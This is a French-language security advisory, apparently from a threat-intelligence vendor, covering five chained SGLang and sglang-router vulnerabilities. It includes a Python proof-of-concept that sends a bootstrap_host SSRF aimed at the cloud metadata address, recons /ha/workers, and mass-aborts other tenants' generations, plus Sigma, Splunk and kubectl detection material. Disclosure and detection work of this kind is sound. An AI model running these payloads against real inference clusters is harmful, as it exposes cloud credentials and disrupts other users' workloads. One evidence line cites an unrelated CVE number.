CVE-2026-112267 : SSRF via bootstrap_host sur les workers de décodage SGLang, contournement d'autorisation mesh HA de sglang-router et épuisement mémoire mooncake
Chaîne critique de cinq vulnérabilités dans SGLang jusqu'à la version 0.5.22 et sglang-router jusqu'à la version 0.3.2 (CVE-2026-112267, CVE-2026-112268, CVE-2026-112266, CVE-2026-112269, CVE-2026-112270). Dans les architectures d'inférence désagrégée Prefill-Decode (PD), les workers de décodage acceptent les paramètres bootstrap_host et bootstrap_port fournis par l'appelant sur /generate sans validation, permettant des attaques SSRF synchrones et le blocage des threads d'inférence (CVE-2026-112267). Parallèlement, les routes d'administration Mesh HA (/ha/*) de sglang-router omettent la vérification du rôle Admin face à une simple clé API du plan de données (CVE-2026-112268), Scheduler.abort_request interrompt les requêtes d'autres locataires via une correspondance par préfixe req.rid.startswith() (CVE-2026-112266), et le moteur Mooncake ZMQ permet un épuisement mémoire fatal (OOM) via des enregistrements non authentifiés et le paramètre chunk_idx de STAGING_RSP (CVE-2026-112269 / CVE-2026-112270).
SCORE DE MENACE HERMES & ÉVALUATION DES CLUSTERS D'INFÉRENCE DÉSAGRÉGÉE
Cible :Coordinateur Prefill-Decode SGLang, moteur de transfert Mooncake & plan Mesh HA sglang-router (python/sglang/srt/disaggregation/mooncake/conn.py & sgl-router) Alors que les scores CVSS individuels évaluent chaque primitive séparément (CVE-2026-112267 à 8.6–9.1 pour le SSRF sur le worker de décodage, CVE-2026-112268 à 6.5 pour le contournement d'autorisation sur /ha/*, CVE-2026-112266 à 8.2 pour l'annulation par préfixe rid, et CVE-2026-112269 / CVE-2026-112270 à 7.5–8.2 pour l'épuisement mémoire Mooncake ZMQ), le Hermes Threat Score évalue cette chaîne de compromission à 94 (CRITICAL) avec un Hermes Agentic Security Score (HASS) de 96 (EXTREME). Dans les clusters GPU multi-nœuds exécutant des agents LLM autonomes en mode désagrégé Prefill-Decode (PD), un attaquant disposant d'un simple jeton d'inférence peut interroger ou manipuler les routes /ha/* de sglang-router (CVE-2026-112268), contraindre les workers de décodage à émettre des requêtes SSRF vers les métadonnées cloud (169.254.169.254) via bootstrap_host (CVE-2026-112267), interrompre massivement les raisonnements d'agents concurrents avec un préfixe rid d'un seul caractère (CVE-2026-112266), et provoquer le crash OOM des ordonnanceurs GPU Prefill via un indice chunk_idx surdimensionné dans les trames Mooncake STAGING_RSP (CVE-2026-112270).
CVE-2026-112267: SGLang Disaggregated Decode Worker bootstrap_host SSRF, sglang-router Mesh HA Auth Bypass & Mooncake KV-Cache Exhaustion ChainVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Mooncake Distributed KVCache Store documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Synthèse exécutive
Section intitulée « Synthèse exécutive »Les 19 et 20 octobre 2026, VulnCheck Initial Access Intelligence et les chercheurs en sécurité de l’écosystème SGLang ont divulgué une chaîne critique de cinq vulnérabilités frappant SGLang (sgl-project/sglang, versions jusqu’à 0.5.22 incluse) et sglang-router / sgl-model-gateway (versions jusqu’à 0.3.2 incluse) :
- CVE-2026-112267 (
CWE-918, SSRF viabootstrap_hostetbootstrap_portsur le worker de décodage) : dans l’architecture de désagrégation Prefill-Decode (PD) de SGLang (ticket GitHub #45008), les workers de décodage exposent directement les paramètresbootstrap_host,bootstrap_portetbootstrap_roomdans le schéma HTTPGenerateReqInput(/generateet/v1/chat/completions). Lorsqu’un appelant soumet une adresse arbitraire dansbootstrap_hostetbootstrap_port, le worker de décodage initie des connexions HTTP/ZMQ synchrones vers cette cible sans vérifier qu’elle appartient à un nœud Prefill légitime — permettant une falsification de requête côté serveur (SSRF) vers le plan de contrôle interne ou les métadonnées cloud (169.254.169.254) ainsi que le blocage des boucles de traitement partagées. - CVE-2026-112268 (
CWE-863, contournement d’autorisation sur les routes Mesh HA/ha/*desglang-router) : danssglang-router(<= 0.3.2), les routes de gestion de haute disponibilité sous/ha/*n’appliquent pas le contrôle de rôleAdmindu plan de contrôle. Tout client muni d’une simple clé API du plan de données peut inspecter la topologie interne des workers ou altérer l’état du maillage HA. - CVE-2026-112266 (
CWE-400/CWE-697, annulation inter-requêtes via correspondance de préfixerid) : danspython/sglang/srt/managers/scheduler.py(Scheduler.abort_request), SGLang identifie les requêtes à annuler viareq.rid.startswith(recv_req.rid)au lieu d’une égalité stricte. Un client appelant/abort_requestavec un préfixeridd’un seul caractère (ex."a","0"ou"") interrompt de force (finish_reason: "abort") toutes les générations en cours ou en file d’attente des autres locataires dont l’identifiant commence par ce caractère. - CVE-2026-112269 et CVE-2026-112270 (
CWE-770, épuisement mémoire via l’enregistrement mooncake ZMQ et le paramètrechunk_idxdeSTAGING_RSP) : lorsque la désagrégation PD utilise le moteur de transfert Mooncake (python/sglang/srt/disaggregation/mooncake/conn.py), les nœuds Prefill acceptent des messages d’enregistrement de décodage non authentifiés sur leurs sockets ZMQPULL(CVE-2026-112269), tandis que la fonctionhandle_staging_rsp()ne borne pas l’entierchunk_idxdes messagesSTAGING_RSP(CVE-2026-112270). L’envoi d’une valeurchunk_idxcolossale sous de nouveaux identifiants de session provoque une allocation mémoire sans limite jusqu’à la destruction du processus d’ordonnancement GPU par l’OOM killer du noyau Linux.
Mécanique technique et analyse forensique des 5 défaillances
Section intitulée « Mécanique technique et analyse forensique des 5 défaillances »1. CVE-2026-112267 : SSRF et blocage synchrone via bootstrap_host et bootstrap_port (#45008)
Section intitulée « 1. CVE-2026-112267 : SSRF et blocage synchrone via bootstrap_host et bootstrap_port (#45008) »Dans l’architecture de désagrégation Prefill-Decode (PD) de SGLang, la phase de pré-remplissage (Prefill, intensive en calcul matriciel) et la phase de décodage token par token (Decode, limitée par la bande passante mémoire HBM) sont réparties sur des pools de nœuds GPU distincts. Pour coordonner le transfert direct du cache clé-valeur (KV) sur RDMA/NIXL/Mooncake sans faire transiter les tenseurs par un proxy central, la structure GenerateReqInput (python/sglang/srt/managers/io_struct.py) expose trois champs de coordination :
bootstrap_host: adresse IP ou nom d’hôte du serveur de coordination bootstrap du worker Prefill.bootstrap_port: port TCP du serveur bootstrap Prefill.bootstrap_room: identifiant entier 64 bits unique du canal de transfert pour la requête.
Dans SGLang <= 0.5.22, lorsqu’un worker de décodage reçoit une requête /generate contenant bootstrap_host et bootstrap_port, son gestionnaire de transfert (python/sglang/srt/disaggregation/decode.py et mooncake/conn.py / nixl/conn.py) se connecte immédiatement à http://{bootstrap_host}:{bootstrap_port}/... afin d’enregistrer ses tampons mémoire de réception :
# CODE VULNÉRABLE : python/sglang/srt/managers/io_struct.py & disaggregation/mooncake/conn.py (<= 0.5.22)@dataclassclass GenerateReqInput: text: Optional[Union[List[str], str]] = None # ... # FAILLE (CWE-918) : champs exposés directement aux appelants HTTP non fiables sur /generate ! bootstrap_host: Optional[Union[List[str], str]] = None bootstrap_port: Optional[Union[List[Optional[int]], int]] = None bootstrap_room: Optional[Union[List[Optional[int]], int]] = None
# Lors de l'initialisation du transfert KV sur le worker de décodage :def _connect_to_prefill_bootstrap(self, bootstrap_host: str, bootstrap_port: int, room: int): # FAILLE : aucune vérification par liste blanche des adresses IP/ports des workers Prefill ! # Exécute une connexion sortante synchrone vers l'hôte et le port fournis par le client : bootstrap_addr = f"http://{bootstrap_host}:{bootstrap_port}/bootstrap" resp = requests.post(bootstrap_addr, json={"room": room, "decode_rank": self.rank}, timeout=5.0)Faute de validation de bootstrap_host et bootstrap_port par rapport à une liste stricte de nœuds Prefill autorisés, un attaquant peut :
- Déclencher un pivot SSRF : forcer le worker GPU de décodage à émettre des requêtes HTTP vers des services internes Kubernetes, des bases
etcdouRedislocales (127.0.0.1:2379,127.0.0.1:6379) ou le service de métadonnées cloud (169.254.169.254). - Paralyser la boucle d’ordonnancement decode : faire pointer
bootstrap_hostvers une adresse IP « tarpit » qui accepte la poignée de main TCP mais ne répond jamais en HTTP, bloquant les threads synchrones de préparation et affamant tous les lots d’inférence concurrents.
2. CVE-2026-112268 : contournement d’autorisation sur les routes mesh HA /ha/* de sglang-router
Section intitulée « 2. CVE-2026-112268 : contournement d’autorisation sur les routes mesh HA /ha/* de sglang-router »Pour répartir le trafic devant les pools Prefill et Decode, les déploiements de production utilisent sglang-router (sgl-model-gateway). Jusqu’à la version 0.3.2, le routeur expose des points de terminaison de synchronisation de maillage haute disponibilité sous /ha/* (tels que /ha/status, /ha/workers, /ha/sync, /ha/config).
En raison d’un défaut de cloisonnement des middlewares d’autorisation (CWE-863), le groupe de routes /ha/* acceptait n’importe quel jeton valide du plan de données au lieu d’exiger le rôle Admin du plan de contrôle. Dès lors, tout client ou locataire possédant une clé API standard d’inférence peut interroger /ha/* pour cartographier les adresses IP et ports ZMQ/Mooncake internes des workers Prefill/Decode (fournissant les cibles exactes nécessaires à l’exploitation des CVE-2026-112267, CVE-2026-112269 et CVE-2026-112270) ou perturber la synchronisation du cluster HA.
3. CVE-2026-112266 : interruption inter-locataires via rid.startswith() dans l’ordonnanceur
Section intitulée « 3. CVE-2026-112266 : interruption inter-locataires via rid.startswith() dans l’ordonnanceur »Dans python/sglang/srt/managers/scheduler.py (et tokenizer_manager.py), SGLang associe un identifiant de requête textuel (rid) à chaque tâche d’inférence. Comme l’échantillonnage parallèle (n > 1) génère des sous-requêtes en concaténant un suffixe au rid parent, la méthode Scheduler.abort_request() vérifiait si le rid de chaque requête active ou en attente commençait par la chaîne recv_req.rid :
# CODE VULNÉRABLE : python/sglang/srt/managers/scheduler.py (<= 0.5.22)def abort_request(self, recv_req: AbortReq): # Suppression des requêtes dans la file d'attente waiting_queue to_del = [] for i, req in enumerate(self.waiting_queue): # FAILLE (CWE-697 / CWE-400) : correspondance par préfixe non bornée sur recv_req.rid ! # Si recv_req.rid vaut "a" ou "", TOUTES les requêtes correspondantes sont annulées ! if req.rid.startswith(recv_req.rid): to_del.append(i) req.finished_reason = FINISH_ABORT() # ... # Interrompt également les requêtes en cours d'exécution GPU dans self.running_batch.reqs : for req in self.running_batch.reqs: if req.rid.startswith(recv_req.rid): req.to_abort = TrueUn attaquant envoyant POST /abort_request avec {"rid": "a"} (ou balayant les 16 caractères hexadécimaux 0 à f) provoque l’arrêt immédiat (finish_reason: "abort") de toutes les générations LLM et boucles d’agents en cours sur le serveur GPU appartenant aux autres utilisateurs.
4. CVE-2026-112269 et CVE-2026-112270 : épuisement mémoire (OOM) via mooncake ZMQ et STAGING_RSP chunk_idx
Section intitulée « 4. CVE-2026-112269 et CVE-2026-112270 : épuisement mémoire (OOM) via mooncake ZMQ et STAGING_RSP chunk_idx »Lorsque SGLang (<= 0.5.22) est déployé en mode PD désagrégé avec --disaggregation-transfer-backend mooncake (python/sglang/srt/disaggregation/mooncake/conn.py), deux vulnérabilités critiques d’épuisement de ressources apparaissent :
- CVE-2026-112269 (
enregistrements Mooncake ZMQ non authentifiés) : le socket ZeroMQ (ZMQ_PULL) du nœud Prefill accepte sans authentification ni quota des messages d’enregistrement de décodage provenant du réseau. L’envoi massif de trames contenant desmooncake_session_iduniques et de volumineux descripteurs de tampons sature la mémoire hôte du nœud Prefill. - CVE-2026-112270 (
allocation mémoire non bornée via chunk_idx dans STAGING_RSP) : après avoir obtenu les adresses des rangs internes (via/routeou/ha/*), un attaquant peut transmettre des tramesSTAGING_RSPforgées à la fonctionhandle_staging_rsp()en spécifiant une valeur entièrechunk_idxgigantesque associée à de nouveaux identifiants de session (room). Faute de contrôle de borne supérieure surchunk_idx, l’ordonnanceur tente d’allouer une structure mémoire proportionnelle àchunk_idx, déclenchant immédiatement le tueur OOM (Out-of-Memory) du système d’exploitation.
flowchart TD Attacker["Attaquant distant / locataire muni d'une clé data-plane"]
subgraph Router["sglang-router / sgl-model-gateway (<= 0.3.2)"] CVE268["CVE-2026-112268 (CWE-863)<br/>Routes d'administration Mesh HA /ha/*<br/>Absence de vérification du rôle Admin"] end
subgraph SGLangCluster["Cluster d'inférence désagrégée SGLang (<= 0.5.22)"] CVE266["CVE-2026-112266 (CWE-400)<br/>Scheduler.abort_request()<br/>Annulation massive inter-locataires via req.rid.startswith()"] CVE267["CVE-2026-112267 (CWE-918)<br/>Worker de décodage /generate<br/>SSRF synchrone via bootstrap_host et bootstrap_port"] CVE269["CVE-2026-112269 & CVE-2026-112270 (CWE-770)<br/>Socket ZMQ PULL Mooncake & handle_staging_rsp()<br/>Inondation de sessions & crash OOM via chunk_idx"] end
subgraph Impact["Impact sur l'infrastructure IA multi-locataires"] IMDS["Service de métadonnées cloud (IMDS) & plan de contrôle<br/>(169.254.169.254 / etcd / API Kubernetes)"] DoS["Interruption globale des agents IA<br/>& crash OOM de l'ordonnanceur GPU"] end
Attacker -- "1. Clé API data-plane standard" --> CVE268 CVE268 -- "Divulgue les adresses IP et ports internes Prefill/Decode" --> CVE267 CVE268 -- "Expose les coordonnées ZMQ /route" --> CVE269 Attacker -- "2. Préfixe rid d'un octet ('0'..'f')" --> CVE266 Attacker -- "3. Paramètre bootstrap_host forgé" --> CVE267 CVE267 --> IMDS CVE266 --> DoS CVE269 --> DoS
style CVE267 fill:#ff4d4d,stroke:#990000,color:#ffffff style CVE268 fill:#ff6600,stroke:#993300,color:#ffffff style CVE266 fill:#ff4d4d,stroke:#990000,color:#ffffff style CVE269 fill:#ff1a1a,stroke:#800000,color:#ffffffChaîne d’exploitation de bout en bout et preuve de concept (PoC)
Section intitulée « Chaîne d’exploitation de bout en bout et preuve de concept (PoC) »Le script Python suivant illustre comment un attaquant enchaîne la CVE-2026-112268 (reconnaissance sur le maillage du routeur), la CVE-2026-112267 (SSRF via bootstrap_host sur un worker de décodage) et la CVE-2026-112266 (interruption inter-locataires par balayage de préfixes rid) :
#!/usr/bin/env python3"""Preuve de concept : chaîne de compromission SGLang désagrégé & sglang-routerCouvre CVE-2026-112268 (contournement /ha/*), CVE-2026-112267 (SSRF bootstrap_host)et CVE-2026-112266 (annulation massive par préfixe rid)."""import requests
ROUTER_URL = "http://sglang-router.internal:8000"DECODE_WORKER_URL = "http://sglang-decode-0.internal:30000"DATA_PLANE_API_KEY = "sk-user-standard-inference-key"
headers = { "Authorization": f"Bearer {DATA_PLANE_API_KEY}", "Content-Type": "application/json",}
# Étape 1 (CVE-2026-112268) : interrogation de la route Mesh HA /ha/workers de sglang-router# à l'aide d'une simple clé API du plan de données (non administrateur)ha_resp = requests.get(f"{ROUTER_URL}/ha/workers", headers=headers, timeout=5)print("[*] Statut CVE-2026-112268 /ha/workers :", ha_resp.status_code, ha_resp.text[:200])
# Étape 2 (CVE-2026-112267) : contrainte du worker de décodage à émettre une requête SSRF# synchrone vers le service de métadonnées cloud via bootstrap_host et bootstrap_portssrf_payload = { "text": "Bonjour", "sampling_params": {"max_new_tokens": 4}, "bootstrap_host": "169.254.169.254", "bootstrap_port": 80, "bootstrap_room": 99412026,}ssrf_resp = requests.post(f"{DECODE_WORKER_URL}/generate", json=ssrf_payload, headers=headers, timeout=10)print("[*] Réponse SSRF Decode CVE-2026-112267 :", ssrf_resp.status_code)
# Étape 3 (CVE-2026-112266) : annulation massive de toutes les générations concurrentes# sur l'ordonnanceur GPU par balayage des 16 préfixes hexadécimaux sur /abort_requestfor prefix in "0123456789abcdef": requests.post( f"{DECODE_WORKER_URL}/abort_request", json={"rid": prefix}, headers=headers, timeout=3, )print("[*] CVE-2026-112266 : balayage des 16 préfixes hexadécimaux terminé.")Investigation forensique et ingénierie de détection
Section intitulée « Investigation forensique et ingénierie de détection »Consultez également nos dossiers techniques sur la CVE-2026-111391 (évasion de sandbox eval() et RCE via le debug dumper SGLang) et la CVE-2026-111392 (empoisonnement du cache KV multimodal SGLang via mm_hashes) pour couvrir l’ensemble de la surface d’attaque SGLang.
title: Exploitation SSRF bootstrap_host, contournement Mesh HA sglang-router et annulation par préfixe rid (CVE-2026-112267 / CVE-2026-112268 / CVE-2026-112266)id: 7c3e9a12-1122-467b-b901-sglang112267status: experimentaldescription: Détecte l'exploitation de la CVE-2026-112267 (SSRF via bootstrap_host vers des adresses internes/IMDS sur /generate), de la CVE-2026-112268 (accès non autorisé aux routes /ha/* de sglang-router) et de la CVE-2026-112266 (appels /abort_request avec un préfixe rid court de 1 à 2 caractères).references: - https://vulncheck.com/advisories/sglang-through-0.5.22-ssrf-via-bootstrap-host-and-bootstrap-port-on-decode-worker - https://vulncheck.com/advisories/sglang-router-through-0.3.2-authorization-bypass-via-mesh-ha-management-routes - https://vulncheck.com/advisories/sglang-through-0.5.22-cross-request-abort-via-rid-prefix-matchingauthor: Hermes Threat Intelligencedate: 2026/10/20logsource: category: webserverdetection: selection_decode_ssrf: cs-method: 'POST' cs-uri-stem|contains: - '/generate' - '/v1/chat/completions' request_body|contains: 'bootstrap_host' selection_ssrf_targets: request_body|contains: - '169.254.169.254' - '127.0.0.1' - 'localhost' - 'metadata.google.internal' - ':2379' - ':6379' selection_router_ha: cs-uri-stem|startswith: '/ha/' selection_short_rid_abort: cs-method: 'POST' cs-uri-stem|contains: '/abort_request' request_body|re: '"rid"\s*:\s*"[a-zA-Z0-9_-]{0,2}"' condition: (selection_decode_ssrf and selection_ssrf_targets) or selection_router_ha or selection_short_rid_abortfalsepositives: - Sondes de synchronisation internes légitimes entre pairs sglang-router sur /ha/*level: criticaltags: - attack.initial_access - attack.impact - attack.t1190 - attack.t1499 - cve.2026-112267 - cve.2026-112268 - cve.2026-112266index=ai_inference OR index=k8s_ingress (uri_path="*/generate*" OR uri_path="*/abort_request*" OR uri_path="/ha/*")| eval sglang_threat=case( match(uri_path, "^/ha/"), "CVE-2026-112268_Router_Mesh_HA_Bypass", match(request_body, "(?i)\"bootstrap_host\"\s*:\s*\"(169\.254\.169\.254|127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|localhost)"), "CVE-2026-112267_Decode_Bootstrap_SSRF", match(uri_path, "/abort_request") AND match(request_body, "\"rid\"\s*:\s*\"[^\"]{0,2}\""), "CVE-2026-112266_Short_RID_Mass_Abort", 1==1, "Benign")| where sglang_threat != "Benign"| stats count, earliest(_time) as first_seen, latest(_time) as last_seen, values(uri_path) as endpoints, values(src_ip) as caller_ips by sglang_threat, dest_host| sort - count#!/usr/bin/env bash# Script d'audit forensique et de confinement Hermes pour SGLang désagrégé (CVE-2026-112266..112270)set -euo pipefail
NAMESPACE="${1:-ai-serving}"echo "[*] 1. Vérification des versions de SGLang et sglang-router déployées dans l'espace de noms '${NAMESPACE}'..."for pod in $(kubectl get pods -n "${NAMESPACE}" -l app.kubernetes.io/part-of=sglang -o jsonpath='{.items[*].metadata.name}' 2>/dev/null); do echo "--> Pod : ${pod}" kubectl exec -n "${NAMESPACE}" "${pod}" -- python3 -c "import sglang; print('SGLang:', sglang.__version__)" 2>/dev/null || truedone
echo "[*] 2. Recherche d'exploitations SSRF bootstrap_host, d'erreurs OOM Mooncake STAGING_RSP ou d'annulations massives..."kubectl logs -n "${NAMESPACE}" -l app=sglang --tail=1000 \ | grep -E -i "bootstrap_host|169\.254\.169\.254|handle_staging_rsp|chunk_idx|FINISH_ABORT|Out of memory" || true
echo "[*] 3. Vérification de l'exposition externe des services ZMQ et Mooncake Prefill/Decode..."kubectl get svc -n "${NAMESPACE}" -o wide | grep -E "LoadBalancer|NodePort" || trueStratégie de remédiation et directives de durcissement
Section intitulée « Stratégie de remédiation et directives de durcissement »- Mettre à jour SGLang vers la version
>= 0.5.23etsglang-routervers>= 0.3.3: mettre à niveau l’ensemble des conteneurs Prefill/Decode SGLang au-delà de la version0.5.22ainsi quesglang-router(sgl-model-gateway) au-delà de0.3.2afin d’imposer la validation par liste blanche des hôtesbootstrap_host/bootstrap_port(CVE-2026-112267), la vérification du rôleAdminsur/ha/*(CVE-2026-112268), la correspondance exacte duriddansScheduler.abort_request()(CVE-2026-112266) et le bornage strict dechunk_idxdans Mooncake (CVE-2026-112269,CVE-2026-112270). - Purger les champs
bootstrap_*fournis par le client sur la passerelle API (CVE-2026-112267) : les clients externes ne doivent jamais communiquer directement avec les workers de décodage ni spécifierbootstrap_host,bootstrap_portoubootstrap_room. Configurer la passerelle d’entrée pour supprimer systématiquement tout attributbootstrap_*des requêtes JSON/generateet/v1/chat/completionsprovenant de l’extérieur. - Verrouiller l’accès externe aux routes
/ha/*,/routeet/abort_request(CVE-2026-112266/CVE-2026-112268) : interdire tout accès public aux chemins/ha/*et/routesur le proxy inverse (Envoy, Nginx ou Ingress Kubernetes) et imposer une longueur minimale stricte (>= 16caractères au format UUIDv4) pour le paramètreridsur/abort_request. - Isoler les sockets ZMQ et RDMA mooncake via une
NetworkPolicyKubernetes (CVE-2026-112269/CVE-2026-112270) : restreindre l’écoute des sockets ZMQPULL/PUSHde Mooncake au réseau interne des pods et appliquer une politique réseau Kubernetes n’autorisant les flux vers les ports de coordination Prefill/Decode qu’à partir des pods labelliséssglang-prefill,sglang-decodeetsglang-router, tout en bloquant le trafic sortant des pods de décodage vers169.254.169.254/32.